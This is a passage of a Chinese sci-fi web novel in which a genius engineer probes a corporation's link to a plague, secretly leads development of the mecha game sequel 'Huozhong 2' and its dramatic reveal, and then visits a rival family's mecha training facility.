伊琳娜睁大眼睛：“全跳了啊？” 叶行晖想起以前的事，黯淡地垂眸道：“大家一开始还信心满满，说有切斯特星的尖端科技一定能治好病，只要再等等就好了，但逐渐，说着乐观的人，互相鼓励的人，都一个个消失。” “没有赤潮的患者能活着离开医院。” “最后只剩下我。” 陶影笑容淡淡：“我猜莉萨去天台之前肯定叮嘱过你，‘小影以后闯祸，你记得看着点她’。” 伊琳娜迟疑道：“你莉萨姐也……上天台了？” 陶影低低笑了两声。 “是啊，上天台吹风了。” “在意识转换项目完成的前一天，莉萨选择了离开。” 陶影当时想，人的意识如果能转变为电子信号，就能在电子洪流中获得永生。 她很少失败，于是以为这次也一定会成功。 但就在转换项目完成的前一天，传来了莉萨的死讯。 “只差一天。” 陶影握着酒杯，瞳孔涣散了一下，随后又自嘲似的笑了。 “总之，我从护士手里接过莉萨的遗物。” “本来只是整理，却发现里面有一份拂瓦星的水质检测报告。” “非常厚，我顺手翻了翻。” 伊琳娜好奇道：“里面写了什么？” “莉萨作为生态学的研究员，从专业角度推测，赤潮不是自然毒素，更像是一种虫族分泌的信息素，对人类的神经系统具有攻击性。” “佐证就是，第二星系的虫族爆发，几乎和赤潮产生在同一时期。它们发动攻击，是因为接收到了赤潮患者身上的‘归巢信号’。 “而我，算是机甲相关的研究员，所以碰巧调查到另一个消息。” “什么消息？” “赤潮爆发前，一台前线的资源探测机甲，曾经坠落到拂瓦星。” “那台机甲的所属公司是爱荷华科技。” 第97章 “怎么哪里都有他们？” “毕竟是开国三巨头之一。” 陶影：“赤潮的产生和这台机甲的坠落有关,或许是它在前线勘探资源的时候，携带了什么东西坠入海里。” “总之，我当时着手想从爱荷华科技开始调查。但……” “但？” 陶影摇头：“再往前就查不到了。他们所有的重要文件都通过纸质资料和磁带保存,我去他们系统里转了一圈，什么都没发现。” “最后只能想办法混进爱荷华家族实地考察一下。” “就为了这个你跟人订婚？” 陶影无辜摊手：“我没打算订婚,本来想拿到资料就分手，没想到他手脚那么快当着媒体求婚,把我架上去了。” “你俩当时才认识一个月吧。” 叶行晖补充道：“二十七天。” 陶影摆摆手,不是很在意道：“可能是这个数吧,没注意。不过小叶你怎么知道得这么清楚？” 叶行晖微顿：“网上查的。” 陶影疑惑道：“我怎么没查到，我们上的不是同一个星网？” “很多都被电子幽灵删掉了,就那个都市传说Dust你听过吧,陶影相关的帖子它就会突然冒出来。”伊琳娜帮忙解释。 “原来是这样……” “看来Dust对我订婚的事很关注。” 陶影笑容意味深长,看了叶行晖一眼。 叶行晖撇过头装作无事发生。 “话说回来陶影，那金毛心眼子不比你少,你怎么骗到他的？” “记不清了，就随便骗骗。” 伊琳娜一噎。 “一看就知道你在说假话,算了，反正对方也不是什么好东西，骗就骗吧。” 陶影抱臂后退一步：“什么叫他‘也’不是好东西？” “虽然我确实不是什么好东西,但有你这么说朋友的吗？” 伊琳娜没回答，只是转头拍拍一边的叶行晖，郑重嘱咐。 “小心坏女人，她会把你吃得骨头渣都不剩。” 小机器人脸红了红，正想着怎么回答，身上就是一记重压。 陶影整个身子撑在它头顶，笑眯眯凑近： “听她的还是听我的？” 叶行晖：“……” “都不听,谢谢。” “第二星系的虫灾极有可能是爱荷华科技那台坠落的机甲导致的，这是牵涉人类安全的大事，一旦暴露，就不是商业竞争那么简单了，爱荷华家族想灭你的口倒也符合逻辑。” 伊琳娜认同了这个解释。 “那你接下来打算怎么办？” “再说吧。” 陶影站起身。 “先积存实力，想想职业联赛怎么打，莱机所的发展资金还不够，我得去打比赛拉点商单。” “之前给火种投钱的神秘人士是你吧，你不是有钱吗，莱机所还能缺资金？” “说什么呢，我只是个贫穷大学生罢了，哪里有钱。” “我是学生，给我两个亿。” 陶影理直气壮地伸手要钱，伊琳娜气笑了，从兜里掏出两块硬币放她手心。 伊琳娜慈祥道：“海台科技赞助两块。” “还是那么抠门，”陶影把硬币放在桌上，“两百星币就打发我？” “骗我的事还没消气呢。” 伊琳娜冷哼一声。 但生气归生气，伊琳娜最后还是把赞助打到了账上，顺便预订了两台莱机所的机甲。 “就两台？” 伊琳娜肉痛地看着账单：“你差不多得了。” 莫名其妙划出去这么大一笔钱。 “还以为海台科技跟当年那样啊，我们公司规模缩水好多。” 陶影面露同情，嬉笑道：“好惨啊挚友，要不我帮帮你？” 伊琳娜翻了个白眼：“少来，你不是忙着制造第二代知觉机甲吗，哪有这个时间。” 陶影：“在不同的功能上做点细分而已，我抽空做就行，何况这跟帮你也不冲突。” “什么意思，你要怎么帮我？” 陶影点着光脑屏幕。 “之前决赛跟孙弦打了几场，我总觉得差点意思。如果不是进入了特殊模式，我很难赢。” 但普通比赛很难进入精神力高度集中的状态，她总不可能每次都找个狙击手狙她，来强行提高注意力吧？ “职业联赛的选手素质只会更高，而且这次数据开源，各大厂商都紧急推出了全新的知觉机甲。大部分选手肯定会上知觉机甲，我不能靠机体素质硬莽了。” 陶影面露笑容。 “我需要大量训练。” 伊琳娜打断道：“你需要训练，和海台科技有什么关系？” “当然有关系，我体质太差，之前都是在火种里训练的。” 陶影托着脸颊，往岛台前一凑，笑容满面道。 “火种很多年没更新了，不如我们做个贰？收益我八你二。” 伊琳娜深吸一口气，似乎是被陶影比城墙还厚的脸皮打败了。 “你真是一点亏都不吃啊，这叫帮我？” 伊琳娜最后还是同意了。 她把工作室的钥匙交给陶影。 工作室内有不少熟悉的身影，都是《火种》初创团队的人，大家个性鲜明，各有各的风格。 但在看到陶影坐上主程序师的位置后，众人动作非常一致。 都摆出了不信任的表情。 “主程序师就她啊？” “当年的主程序师可是陶影，第一代知觉机甲的总设计师，这学生怎么比。” “第二部我看是做不出来，糊弄糊弄算了。” 陶影面对众人的不信任，神色自如，没有受到丝毫影响。 她眨巴两下眼睛。 “放心，我代码水平跟陶影差不多。” “可能还比她好点。” 众人：“……” 这人哪里来的自信！ 但随着游戏制作进程推进，他们很快发现陶影没有说谎。 技术非常厉害。 “开眼界了，世上还能有第二个这样的天才。” “而且跟影姐一样进化掉了睡眠。” “她今天是不是已经工作二十个小时了？” “真耐活啊。” 众人嗑着瓜子齐声发出感叹。 他们正在茶水间摸鱼，伊琳娜踹开门就进来了。 不过不是冲他们来的。 她直直朝着陶影的工位飞奔过去。 “你这混蛋怎么还没睡觉？我安眠药呢，镇静剂！把这工作狂的咖啡撤了，别死我工作室里！小叶！谁把小叶电源关了，不知道只有他能管得住这工作狂吗！” 众人对视一眼，无奈地笑了。 当年工作室里也是这死动静。 “算了，不摸鱼了，工作吧。” “感觉陶影的在天之灵在盯着我们。” “嘶，那很恐怖了。” 游戏设计的同时，陶影也在莱机所改良知觉机甲系统，两边可以说进度同步。 游戏制作很快。 一个月后，雏形搭建完成。 两个月后，游戏内容已经基本可以运行，还需要一些细节的打磨。 仅三个月，火种贰准备投入市场。 “火种怎么突然更新了好几个T的数据包，不是很久都没有更新了吗。” “我有种不好的预感，不会是要关服了吧。” “奶奶，你玩的游戏回光返照了。” “拜托了，最起码让用户数据可以下载啊，我想单机留个纪念。” 老玩家人心惶惶。 而两个小时后，大家悬着的心终于死了。 【火种-官方】：很遗憾地告诉大家，在经过多年的运营后，火种迎来了生命周期的终点，我们将在一周后对游戏进行关服。用户数据将保留三十天，期间可自行下载。 【火种-官方】：13日晚七点半，在弗拉姆星广场将有纪念直播，届时玩家可线上参与。 老玩家们哀嚎： “我的青春结束了。” “S老师，火种关服直播，我们打算把身上的火种币都用完，你来凑个热闹不？”祝小芮私敲陶影。 “最近在打另一个游戏，没时间。” 祝小芮好奇：“你上次也这么说的，什么游戏这么好玩？” “还在内测，没公开，回头给你发内测码。” 说着陶影像是想起什么，补充道： “对了，火种币最好不要用完，之后有用。” 祝小芮哦了一声，但没怎么过脑。 火种都要关服了，不用完又能花到哪里去？ 这人肯定又在逗她玩。 …… 很快到了纪念直播的日子，火种玩家们聚集在弗拉姆广场，等待关服。 一堆人在“我在弗拉姆星很想你”旁边拍纪念照片。 作为游戏内知名景点的黑色信仰之手，上面也站满了机甲。 天幕正在播放历年的游戏总结。 游戏设计赛、天梯榜争夺赛、积分赛，无数的回忆如潮水般涌入。 大家都看得很怀念。 “我十二岁那年第一次接触这个游戏，当时惊为天人。不知不觉玩了好多年，游戏不更新了也不舍得退坑，时不时上来看两眼，就觉得很安心。” “我也，那天火种发售，我偷偷拿零花钱买游戏，还被我妈揍了。” “实不相瞒，我就是因为这个游戏，才想当开机甲的，现在已经是一级机师啦！” 这人说着，晒出自己的机师勋章。 “哦，厉害。” 游戏也承载了很多人年少时的理想。 能来纪念直播的每一个人，对这个游戏都充满了感情。 火种对他们来说已经是一种陪伴，他们每天上线打卡，有种回到家的感觉。 “再见啦，火种。”“再见，我的青春。” 大家纷纷挥手告别。 最后，大家齐声说起一句台词。 “愿星河长存。” “愿星河长存！” “愿星河长存，火种永不熄灭！” “愿星河长存，火种永不熄灭！” 这是火种一开始的旁白，在场没有人不记得。大家热泪盈眶，一遍又一遍，此起彼伏地高喊着。 直到声音嘶哑。 纪念直播到了结尾，整个广场黑暗下来。 天幕出现了一分钟的倒计时。 天下没 有不散的筵席，也许到了该离开的时候。 大家心中怅然若失，都有些丢了魂似的，不太舍得离开。 众人看着退出游戏的红色按钮，确认键迟迟点不下去。 他们想在这里待到最后一刻。 和游戏里的朋友。 和曾经的记忆，曾经的自己。 而这时，天幕又亮了。 远处传来低吟的电子音，布满整个空间，环绕在每个人心中。 这声音很小，却很清晰。 像是火种传递时，微弱的噼啪声。 第98章 星光一处处点燃。 最初是信仰之手的手心。 随后是广场周围。 烽火般连点成片,盘旋着，嘶吼着。如同一条燃烧的巨龙，直冲云霄。 眩目的火光中,天幕重新点亮。 直播片尾再次出现了火种工作室的LOGO。 一台机甲在天幕的左端矗立着，黑色的轮廓隐藏在光与黑暗的交界处,冷色的袖刀闪过一丝锐利。 另一台墨绿色机甲，肩上扛着多发速射型小口径炮SC48-死吻,炮口对准对面的黑色机甲。 两台机甲就这样在天幕内互相对峙。 这时,信仰之手的火种再次爆燃。 熔岩行星的火山喷发。 炙热的火焰卷起气流,冲上天幕，一次次,每次都上升到更高的地方。 像要破开什么束缚。 广场众人仿佛也被点燃,热烈讨论起来。 “这什么,最后的彩蛋？” “这两个机体好新啊，我从来没见过。” “是莱机所新公开的机型,他们帐号发过剪影图，是专供机甲联赛的机型。” “剪影图我都盘包浆了,原来长这个样子。” “我最喜欢的游戏和顶尖机甲研究所合作了，这是什么梦幻联动？” 人群正在骚动，而天幕中的两台机甲,突然整齐地转过头，就好像是在看着广场上的所有人。 墨绿色那台更是炮口朝向广场。 有人下意识开始找掩体，两秒后反应过来这是游戏，并不会中弹，跳起来指着那台机甲骂了两声。 “炮口不要对准观众啊，谁教你们的？” “等下，机甲好像真的在观察我们。” 那人搓搓手臂上的鸡皮疙瘩,往天上一指。 众人果然看见，黑色机甲跪趴在天幕上，歪着头，好奇地看着他们。 而下一刻，黑色机甲扭动手腕，握紧拳头，猛地捶地。 一下、一下，极重地。 像要砸穿那道隔绝次元的幕墙。 终于“轰——”，幕墙被砸出一个洞。 黑色的机甲手臂从缝隙穿出。 它扒住缝隙。 它撕开天幕。 它从大洞一跃而下，来到众人面前。 坠地时，带了一片火山灰飘散。 战斗后的凹坑与掉漆，真实的光影涂装，映入众人眼帘。 而另一台墨绿色机甲也紧随其后。 这下众人看得更清了，不是隔着屏幕，而是真切的就在他们面前。 墨绿色机甲身上的仿生变色鳞片，每片都不一样，随着角度的不同，产生梦幻的迷彩色。 它的“皮肤”每动一下，仿佛都在呼吸。 众人看愣住了。 大家的心跳突然快了起来。 没有哪个厂商会在关服前制作全新的内容，更不要说完成这种水平的动作设计。这需要耗费大量精力。 是他们想的那样吗？ “火种要出第二部了？” 但大家转瞬又想，不要高兴得太早。 “这些年不知道传过多少次谣言，但火种工作室的第一批核心人员已经离职，根本凑不齐团队。” “前两年都做不了，难道这些年走下坡路的工作室还能做出来？” “资金哪里来？团队成员哪里来？” 大家于是冷静了下来。 他们已经被遛了很多次，不敢希望，怕后面是更大的失望。 “应该只是个彩蛋吧。” 大家放低期望，安慰自己。 广场的气氛一时有些唏嘘。 “那是什么？天幕的缝隙里似乎有什么东西。” 有人仰头道。 这人话音刚落，异变陡生，天幕中撕开的裂缝中，飞出几百头E级虫族。 E级疾蜻。 形态类似蜻蜓，但个头大得多。成年个体体长0.6~1米，翅展可达两米。 四片脉络清晰的透明翅膀，十分锋利。 高速飞行时足以割开钢铁。 “这也是彩蛋？”众人眼神茫然。 不仅有全新机型，还有全新虫族。 彩蛋这么刺激吗？ 真的只是……彩蛋吗？ 墨绿色机甲反应迅速，炮筒对准天空。 SC48-死吻多发炮弹连续射出，在虫族出现的破口不断炸开。 连续的闪光后，几头E级疾蜻坠地，翅膀碎裂一地，肢体残缺，不停抽搐。 因为太过真实，有玩家惨叫一声，吓得掉线了。 而在场游戏玩家，都接收到紧急通讯。 【发信端-指挥中心，发信人-许若澄】 【是否接收消息？】 【确认/取消】 众人毫不迟疑地点击了确认。 【许若澄】：卡索涅尔星遭到未知虫族侵入，请各位士兵迅速回到指挥中心！ “许，许大导师？” 许若澄是火种一开始给大家发任务的NPC，众人对她印象深刻。 因为在游戏剧情中，许若澄所在的指挥中心多次被虫族袭击，堪称灾难中心。 但许若澄莫名活到了剧情最后，被众玩家戏称为火种第一NPC，神之导师，最强大螂。 等等。 游戏后期，所有玩家早就过完了剧情，只会偶尔收到许大导师平淡的节日祝福。 现在骤然接收到她的战斗通知，突然回想起第一次过新手教程时的紧张刺激。 很快，天幕上出现了许若澄的身影，她站在操作台前，将亚麻辫往身后一甩。 两手撑住台面，语气严肃。 “指挥中心遭到虫族袭击。” “都不是新兵了，我迅速跟你们解释前线作战情况。” 而接下来，许若澄切换了镜头。 天幕开始播放一段战斗影像。 准确地说，是模拟战斗影像的资料片。 无数台形态各异的机甲，迅疾地在宇宙中飞奔。 它们来自星际各处，个性鲜明，并无统一阵线。 却配合华丽，接连斩下虫族首级。 许若澄：“虫族衍生出更高级的智能核心，虫巢在多年的沉寂后，再次迎来爆发。” “但……人类也在进化。” “现在，我们迎来知觉机甲大爆发的时代。” 资料片每出现一点新的东西，都让观众屏住呼吸。 酣畅淋漓的战斗体验，精致真实极有感染力的画面烘托。 全新的画面，全新的引擎，全新的机甲，全新的战斗模式！ 老玩家们都激动得两手颤抖。没错，这是他们一直期待的东西，他们已经等了好多年。 “滴”一声。 广场所有人面前，弹出任务面板。 【是否接收来自指挥中心的全新任务？】 【确认/取消】 众人点击确认，天幕再次浮现火种工作室的LOGO。 【火种游戏工作室，和莱门机甲研究所、柏氏工业达成深 度合作。】 【在灵魂漫长的流浪后，我们孕育出一部全新的作品。】 【星河不灭，火种重燃。】 【火种贰，即将上线。】 一阵沉默后，广场上爆发了震耳欲聋的欢呼声。 “我是产生幻觉了吗？快掐我一下。” “不是幻觉，真的是火种贰，有生之年，有生之年啊啊啊啊啊！！！” 有看转播的观众：“我真的哭了。用我家猫狠狠擦眼泪。” “大家刚刚发现没，资料片里显示知觉机甲，是知觉机甲啊家人们，你们知道这意味着什么吗？巨贵的知觉机甲，我们普通人也可以在游戏里体验到了！” 老玩家们疯狂录屏发疯的同时，海台科技的官网，定时发送了高清全新资料片。 【伊琳娜】：抱歉，久等啦。集齐团队成员花了一段时间，下周开放内测，大家记得蹲点抢内测码，参与了纪念直播的老玩家有优先兑换渠道哦~ 【伊琳娜】：对了，大家关注一下相关制作团队的帐号，有最新消息。@火种贰@莱门机甲研究所 评论区全是啊啊啊啊的尖叫。 “火种工作室，我要追随你们一辈子！” “好了我看见了，这条删了，待会儿我抢不到兑换码。” “刚刚发现资料片里还有全新机型，莱机所究竟藏了多少机型没卖，你们的制造力是没有极限吗？” 星网很快铺天盖地转载。 火种贰也按照预定的日期，开始分批内测。 第一批内测码于14日开放抢兑，只有一万份。 兑换条件：玩家等级在一等兵及以上，总登录日期大于365天。 同时还需要1000万火种币。 要求比较苛刻，但上线依旧立刻被抢光。 购物网站很快有人将兑换码挂出了一个亿的天价。 还有人拍了。 “这价格都能买台真机甲了啊，哪位头铁的有钱人？” “今天星期四，后面忘了，总之V我一个亿买游戏。” “不过说真的，我有钱可能也会买……我好馋火种贰。所以官方，怎么兑换码只有一万份，我要闹了！” 第二批内测码很快解禁，10万份，依旧是上线立刻被抢光。 但这次曝光增加后，出现了一些负面的声音。 “一个机甲游戏而已，真的有那么好玩？营销吧，反正我不抢。” “又卖情怀，能不能有点新鲜的？” “炒冷饭再卖一波，游戏厂商常规操作。” 但这点负面的声音完全没影响到游戏的热度，玩家们甚至开始玩梗。 “很好，少了一个竞争对手。” “说好的开服十年的老游戏没人玩呢，怎么内测码眼睛一眨全抢没了啊！” “有没有人有内测码啊——我真的什么都会做的——” 祝小芮唉声叹气。 她本来看了纪念直播，有优先兑换权，但因为那天在广场玩抽卡游戏把火种币全抽光了，没兑到第一批内测码。 她卡着点，摇来整个宿舍一起抢第二批，还是没抢到。 早知道就听S老师的话，不要花光火种币，说不定第一批就兑换到了。 现在舍友天天玩。 她只能看着在旁边流口水。 等下，仔细一想，S老师怎么知道火种币留着有用，她该不会有什么内幕消息……？ 难，难道之前S老师说的正在玩的游戏是火种贰？ 不会吧。 祝小芮吞了一下口水，点开消息框，敲了陶影的头像，给她发了一个猫猫疑惑的表情。 很快，祝小芮收到一条消息。 【S】：游戏内测码，之前说好的，太忙，忘了。 【S】：还有两份是你队友的。 【S】：职业联赛再见。 祝小芮两手颤抖，点开火种贰的注册页面，输入内测码。 然后顺畅的，丝滑的，进入了游戏页面。 真的是火种贰的内测码啊！全星际只有十万份，根本抢不到的那个！ 祝小芮呆若木鸡片刻后，兴奋地跳了起来。 “S老师你是我的神啊啊啊啊啊！！！” 第99章 火种制作精良,口碑迅速发酵。 在玩家群体里被疯传，游戏平台好评度达到惊人的98%。 “火种贰不仅延续了前一部的世界观，也继承了前作的真实性,给玩家带来无与伦比的沉浸感和游戏张力。” “极强的可探索性和开放性的驾驶体验，已经让它超越了游戏的范畴,成为高级机师培养程序。” “我真诚地推荐每一位对开机甲感兴趣的人都来试试《火种贰》。” “这是狂野的艺术品。” “很难想象制作团队究竟是一群什么人……” “大概既是天才，也是疯子吧。” 向来挑剔的知名游戏评价人给出了从未有过的好评,星际各大媒体争相报导。 而工作室这几天忙得不可开交。 “主程序师人呢？！” “哦,你说轮椅同学啊。” 副程序师顶着黑眼圈从工位上爬起来。 “她下班了,说核心问题都已经解决，剩下的bug就交给我们了,她相信团队的能力。” 团队的能力？ 那人大吼一声,捶胸顿足。 “信个屁,我都不信自己有能力，她在信空气啊！” “现在才下午两点,她干什么去了？” 游戏开发期，陶影脚不沾地,一直在修改程序，几乎睡在工作室里，觉也不睡,堪称玩命。 天天被她那台智能管家扯到休息间强制入睡。 这几天游戏发售，正是受关注的时候，到处都是想采访制作团队的人。 她反倒嫌麻烦，像是失去了兴趣，打个卡就走了。 前后反差太大，众人都很吃惊。 “她那么早回去干嘛？” 副程序师顶着黑眼圈道：“当然是因为下午有课，你们是不是忘了她还在上大学。” “区区莱大,让她翘课。” “她这个代码水平我宣布可以直接毕业。” “附议。”“赞同。” “总之快让她回来帮忙改bug啊，我要死了……她一个人怎么做到的……” 众人聊得热火朝天，都没注意正主回来了。 “聊什么呢，这么开心。” 陶影靠在门边笑眯眯地看着他们。 “真是缺德的大人，怎么可以说出让学生翘课这种话？” 大家见主程序师来了，一下子如有神助。 有人把代码山推到陶影面前。 “快来看看这bug怎么修，我不想往上堆shi山。” 陶影凑过来，拖动屏幕上的模块，简单调整了一下优先级。 “这里小改一下就行，大的别动。” 见状又有几个人过来问她问题，陶影摆手挡开，示意她不看了。 “我只是有东西忘拿，不是来加班的，拿完就走。” “成熟的社会人请自己解决问题。” “我是大学生，什么都不懂。” “哎——” 大家本以为陶影只是嘴上说说，实际是心地善良，看不得他们艰苦工作，特地回来帮忙。 但陶影真的只是取出抽屉里的一个文件，然后又走了。 成熟的社会人开始撒泼打滚。 但在心硬如铁 的陶影面前，无果。 副程序师扶着腰站在工位前，生无可恋道：“我会一直看着你的……” 陶影装作没发现她的颈椎病腱鞘炎腰椎间盘突出，欣然拍了一下她的肩膀。 “谢谢，你们的注视对我非常重要。” “重要的点在？” “我们女鬼要吸收一点活人的气息才能现形，简称阳气。” 众人：“……” 你睁开眼睛看看，工作室里有阳气这种东西吗？ 陶影面不改色心不跳地说了一句加油，拿起文件就走。 她朝角落的智能管家挥了一下手，那圆嘟嘟的小机器人头顶瞬间浮现一道光圈，化作一道光线，钻入陶影的光脑。 陶影走到门边，又突然想起什么似的，朝工作室众人打了个招呼。 “对了，记得两个月后的职业联赛给太空女鬼队投票，听说人气榜第一有额外奖金。” 众人齐齐转头。 “你参加了机甲的职业联赛？” “等下，我想起来了，你是太空女鬼队的队长来着。” 有不明情况的员工茫然抬头：“啊？那不是高校机甲联赛的冠军吗？” “写程序很厉害就算了，怎么开机甲还这么强……” 小小年纪，竟然做成了他们可能一辈子都没有办法做成的事情。 道心破碎了朋友。 副程序师咬碎了嘴里的棒棒糖。 “这世上有什么事情是你做不到的吗？” 陶影坐上轮椅，在门边回头。 仰头想了一下。 “有吧，比如让时间倒流？” “这事情谁都做不到吧，”大家无语地嘘了两声，“除了这个以外呢？” 陶影单手抱着文件，敲头思考着。 “获得永生……不对，这个曲线救一下说不定能完成，换一个。” 有人提出意见：“比如操控全人类的意识？这总做不到吧。” 要能做到就成虫族了，头顶天线疯狂发信号的那种。 陶影表情严肃，认真思索后道： “可以做到。” “如果人类的脑中都植入芯片，操控人类意识指日可待。” “是一个统治星际的可行办法，就是前期准备比较复杂。” “……” 你还真想过统治星际啊。 手段是否太技术了一点。 现在跟答辩太表忠心还来得及吗？ 众码农面色麻木。 “其实有时候提问也不是真的想知道答案。” “我知道，说着玩而已。” 陶影咧嘴，坐在轮椅上朝众人挥挥手，留下一个科幻片大反派的背影。 陶影在火种贰的开发期完成了大部分工作，游戏发售后，她便全身心投入了机甲模拟训练，只定期去工作室把控一下整体方向。 于是原本的副程序师，过上了天天喝咖啡的日子，都快喝成巨人观。 她曾经深夜Call陶影，非常崩溃地想要把她拉回项目组。 最后发现，根本不可能。 因为都凌晨两点了，陶影还在打游戏。哦不对，纠正一下，准确地说，是在游戏里训练她的机甲技术。 副程序师瘫倒在工作室：“怎么会有这种人写这么厉害的游戏，只是为了其中的模拟训练程序方便她训练啊……” “还是说这么复杂的编码工作，对她这种天才来说，其实也只是个游戏？” 而此刻，陶影训练结束，刚和两位队友从游戏舱爬出来。 陶影从冰箱拿了瓶营养液，顿顿灌了两口，脚下传来一阵酥软棉麻的喵喵声。 是虎斑大面包在蹭她的裤腿。 陶影看了一眼手里的猫薄荷味营养液，弯身倒了一小瓶盖给它。 拉布拉多的尾巴敲着门就进来了。见到大面包在舔舐瓶盖，它也要过来抢，被林别歌一下子扑倒在地。 尾巴凶器一样在地上梆梆敲着。 南卦掏出速写本：“好生动的动态，画了。” 风一吹，有点冷，陶影去游戏室的隔间换了一件衣服，又走到门边，面向队友。 “你们下午有课吗？” 两位队友摇了摇头：“没有。” “哦，那就今天吧，收拾一下，我们出门一趟。” 林别歌正躺在地板上，和拉布拉多的尾巴打得不可开交，闻言猛地翻了个身。 “去哪儿？” 陶影仰头，将营养液一饮而尽。 抛进垃圾桶。 她抱臂站在门边，微微一笑。 “去见见我们的新队友。” 切斯特星C区，柏氏工业机甲实验区。 实验区占地三十平方公里，属于中小型的实验区域，但在切斯特星能有这么大一块私人地盘，足见柏氏的家底。 由中央的T字型大楼分割为两个区。 一号区是新生机甲的测试区，有各种复杂的天然环境，方便测试机甲在各种环境中的数值。 而她们要去的，是入口另一侧的二号区。 训练区。 她们的新队友就在那里。 陶影刷了通行证，一路畅通无阻。 三人穿越长长的透明廊道，来到机甲训练场。 陶影的轮椅慢慢停了下来。 模拟训练场，半封闭形态，四面都有高强度金属遮挡。光是一面墙的造价就不菲，能顶好几台知觉机甲。 训练场内只有一个人。 却挤满了虫族。 电子虫族尖声叫着，哪怕只是程序模拟的，看上去也威胁性拉满。 却被纯白色机甲狠戾地一刀砍死。 D级虫族接连被甩飞。 啪唧一声，虫浆逼真地飞溅到透明围墙上。 “哦，队友果然技术很好。”陶影摸摸下巴。 感觉能一刀砍十个。 身侧的林别歌却完全没有心思关注那台白色机甲里的“新队友”。 她被虫族吓得扒拉住陶影的轮椅，等虫族的尸体慢慢淡化，玻璃上的模拟裂痕消失，她才从陶影背后探出头。 “这模拟程序怎么做得这么逼真？” 林别歌好奇地戳了戳完好的玻璃。 操作台边，身穿白大褂的研究员注意到陶影一行三人，和身边的人打了个招呼，快步走过来。 他见林别歌盯着场上的模拟虫族看，解释道：“这里的代码是莱机所的所长写的。” “她一个人吗？那也太厉害了。”林别歌肃然起敬。 陶影耸耸肩膀，不太在意道：“也就一般吧，十年前的程序，有点过时了。” “你们可以找莱机所升个级，听说现在有友情价，八折。” 林别歌、研究员：“……” 莱机所给你多少回扣啊？ 研究员戴着金丝眼镜，气质儒雅。 他视线在陶影身上转了两圈，轻咳一声，拉回注意力。 他伸手，陶影礼貌回握。 “幸会，解锁者。” 陶影：“幸会，白颖。你是柏晔书柏医生吧？” 那研究员惊奇道：“你认识我？” 陶影轻轻颔首。 当然认识，上次半决赛结束，帮她做身体检查的就是这位柏医生。 当时陶影精神力失控，差点跟柏墨打起来，柏晔书在旁边快急死了。 一边喊着“小墨你小心点”，一边喊着“解锁者你也小心点”，立场十分摇摆。 医术挺好，就是性格挺优柔寡断。 陶影简洁道：“看你长相就认出来了，是柏墨的二哥吧？” “哦，原来是看长相。” 柏晔书瞬间理解了，柏家人从外表上确实很好认。 怎么说呢，一个模子里刻出来的，黑发黑瞳，沉默寡言。 都有一种寡王的气质。 柏晔书在外面不怎么爱说话，但在家里性格已经算活泼了。 解锁者能认出他实属正常。 柏晔书不好意思地挠头。 “话说你的腿怎么受伤了，需不需要我帮忙检查一下？” “哦，你说这个啊。” 陶影说着就从轮椅上站了起来，摆手示意他不用在意。 “没受伤，只是走路太累了，坐轮椅比较节省体力。” 柏晔书：“……” 本来还担心小墨性格比较独特，职业联赛组队会 给她们添麻烦。 现在看来应该是不用担心了，这位队长也挺独特的……—— 作者有话说：寡王家族（） 第100章 训练场三楼。 三女一男正围着模拟程序的操作台,吵得热火朝天。 四人长相颇为类似，身形动作中还有种独特的气质。 寡王的气质。 大姐眉心挤出一座山，看着训练场内出拳不断的柏墨,连连摇头。 “小墨都连轴转八个小时了，她需要休息,你们谁去叫她。” “你行你上，我打不过她。” “就是,何况叫她也没用,她性子最倔了。” 三妹眼皮上挑：“别管了,她为了准备职业联赛，这个状态已经半年多了,你们还没习惯啊。” 大姐不赞同道：“有你这么关心妹妹的吗？” “我当然关心,但又不能按着她的头让她休息。” 三妹摊了摊手。 “干着急有什么用,她谁的话都不听。只有去莱机所的时候才能老实呆着。” “有本事你们给陶影开个复活甲。” 其它几位姊妹：“……” 那很困难了。 四位妹控正为谁去叫柏墨休息发愁，转头就看见自家二哥推着轮椅,从透明廊道的一边缓缓走来。 三妹看见轮椅上的人，眼神一下子清醒过来：“啊,是解锁者！” “就是她了，继陶影之后，小墨只听得进去她说的话。” “上啊家人们。” 五位位妹控眼神放光,齐刷刷地围到陶影身边。 像看见了救世主。 轮椅上的陶影：“？” 什么情况，柏氏的人不都是话非常少的寡王吗，怎么今天这么热情？ 听几人叽叽喳喳解释完，陶影总算了解了情况。 “原来是柏墨已经连续高强度训练了好久，想让我帮忙劝她休息啊……” 妹控们点头如捣蒜：“对的对的。” 但是她来劝吗？ 陶影狐疑地指了一下自己。 “你们自家人都劝不动，我怎么劝？” “哦，这个嘛,说起来有点复杂，其实小墨的性格，眼里根本没有别人，只有机甲。” “我很赞同你们的观点，但我也是人类，”陶影奇怪道，“所以她眼里也没有我。” 五位妹控郑重其事道。 “不，她眼里有你。” 陶影：“？” “她当你是情敌。” 情…… 情什么？ 陶影头脑一片空白，呆滞地伸手打断：“等一下，什么情敌？” 她怎么不知道这回事？ 陶影迅速戳了戳光脑上的小叶。 “你认识她？速速招来。” “跟我有什么关系。” 叶行晖面色微红，随后想到什么，小脸一垮。 “我还想问你是怎么回事呢，你跟她喜欢同一个人，你喜欢谁？” 陶影：…… 怎么还反将一军。 那她也不知道啊，她俩怎么就成情敌了？ 见陶影表情茫然，五位妹控沉重地叹了一口气，引陶影来到一边的杂物室，打开大门。 “你自己看吧。” “相信你看到里面的东西，就什么都明白了。” “好吧。” 陶影少见地一脸懵懂。 …… 房门骤一打开，传来一股机油的味道，似乎被机械生物塞满了，都没有下脚的地方。 但黑漆漆的看不真切。 陶影把轮椅收到一边，踏腿上前，摸索到灯光总控。 “啪——”按下开关。 暖黄色的温馨灯光，随之照亮整个房间。 眼前的画面一下子让陶影陷入沉默。 脚下是各种废弃的机甲零件。 看上去很是眼熟。 墙壁上层层叠叠贴满了照片，看得人眼花缭乱，就连天花板也没能幸免。 照片的内容都是同一台机甲。 是的，机甲。 优雅，高贵，黑天鹅一般的修长身形。 工业美学和武装暴力的完美结合。 这台机甲陶影再熟悉不过了。 这不恒我吗。 但仔细一看，又跟陶影印象中的恒我不太一样。 照片里，恒我不像是一台受人操控的机械，而是拥有自我意识的智能生物。 它冰冷的肢体中，蕴藏着温柔，有时又是愤怒。 镜头总是带着拍摄者的感情。 很明显能看出，对拍摄者来说，恒我并不是冷冰冰的机甲，它具有生命，甚至具有情感。 陶影恍然大悟。 难怪柏墨之前一直对恒我的事情那么热心。 而且凶巴巴说什么“我对你的目的不感兴趣，只是恒我需要一个机师而已”。 原来是为了恒我。 这么个情敌法啊？ 陶影一脸“破案了”的表情，晃着脑袋回头。 